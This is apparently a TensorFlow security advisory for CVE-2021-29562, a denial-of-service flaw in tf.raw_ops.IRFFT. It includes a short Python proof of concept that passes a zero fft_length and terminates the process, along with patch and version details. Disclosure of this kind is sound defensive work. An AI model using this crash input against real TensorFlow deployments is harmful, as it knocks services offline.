## TFSA-2021-050: `CHECK`-fail in `tf.raw_ops.IRFFT`

### CVE Number
CVE-2021-29562

### Impact
An attacker can cause a denial of service by exploiting a `CHECK`-failure coming
from the implementation of `tf.raw_ops.IRFFT`:

```python
import tensorflow as tf

values = [-10.0] * 130
values[0] = -9.999999999999995
inputs = tf.constant(values, shape=[10, 13], dtype=tf.float32)
inputs = tf.cast(inputs, dtype=tf.complex64)
fft_length = tf.constant([0], shape=[1], dtype=tf.int32)

tf.raw_ops.IRFFT(input=inputs, fft_length=fft_length)
```

The above example causes Eigen code to operate on an empty matrix. This triggers
on an assertion and causes program termination.

### Patches
We have patched the issue in GitHub commit
[1c56f53be0b722ca657cbc7df461ed676c8642a2](https://github.com/tensorflow/tensorflow/commit/1c56f53be0b722ca657cbc7df461ed676c8642a2).

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this
commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow
2.1.4, as these are also affected and still in supported range.

### For more information
Please consult [our security
guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for
more information regarding the security model and how to contact us with issues
and questions.

### Attribution
This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu
X-Team.
